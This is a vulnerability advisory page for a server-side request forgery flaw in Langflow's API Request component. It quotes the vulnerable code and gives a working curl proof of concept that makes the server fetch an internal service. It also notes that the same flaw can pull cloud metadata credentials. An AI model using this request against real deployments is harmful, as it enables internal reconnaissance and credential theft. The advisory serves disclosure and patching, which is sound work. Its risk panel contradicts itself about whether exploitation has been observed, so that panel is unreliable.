Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

PYSEC-2026-1522

HighCVSS 7.7 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(0)

No affected components available

Description

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
    async def simplified_run_flow(
        *,
        background_tasks: BackgroundTasks,
        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
        input_request: SimplifiedAPIRequest | None = None,
        stream: bool = False,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
        context: dict | None = None,
        http_request: Request,
    ):
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    @router.post(
        "/run/advanced/{flow_id_or_name}",
        response_model=RunResponse,
        response_model_exclude_none=True,
    )
    async def experimental_run_flow(
        *,
        session: DbSession,
        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
        inputs: list[InputValueRequest] | None = None,
        outputs: list[str] | None = None,
        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
        stream: Annotated[bool, Body(embed=True)] = False,
        session_id: Annotated[None | str, Body(embed=True)] = None,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
    ) -> RunResponse:
    
  2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

        def _normalize_url(self, url: str) -> str:
            """Normalize URL by adding https:// if no protocol is specified."""
            if not url or not isinstance(url, str):
                msg = "URL cannot be empty"
                raise ValueError(msg)
    
            url = url.strip()
            if url.startswith(("http://", "https://")):
                return url
            return f"https://{url}"
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

            url = self._normalize_url(url)
    
            # Validate URL
            if not validators.url(url):
                msg = f"Invalid URL provided: {url}"
                raise ValueError(msg)
    
  3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

            try:
                # Prepare request parameters
                request_params = {
                    "method": method,
                    "url": url,
                    "headers": headers,
                    "json": processed_body,
                    "timeout": timeout,
                    "follow_redirects": follow_redirects,
                }
                response = await client.request(**request_params)
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

                # Base metadata
                metadata = {
                    "source": url,
                    "status_code": response.status_code,
                    "response_headers": response_headers,
                }
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

                # Handle response content
                if is_binary:
                    result = response.content
                else:
                    try:
                        result = response.json()
                    except json.JSONDecodeError:
                        self.log("Failed to decode JSON response")
                        result = response.text.encode("utf-8")
    
                metadata["result"] = result
    
                if include_httpx_metadata:
                    metadata.update({"headers": headers})
    
                return Data(data=metadata)
    

PoC


PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting

    <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" />
  • Exploit

    curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
      -H 'Content-Type: application/json' \
      -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
      --data-raw '{
        "inputs":[{"components":[],"input_value":""}],
        "outputs":["Chat Output"],
        "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
        "stream":false
      }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'
    
    <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />

Impact


  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
Risk Scores
Base Score
7.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
5.86%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard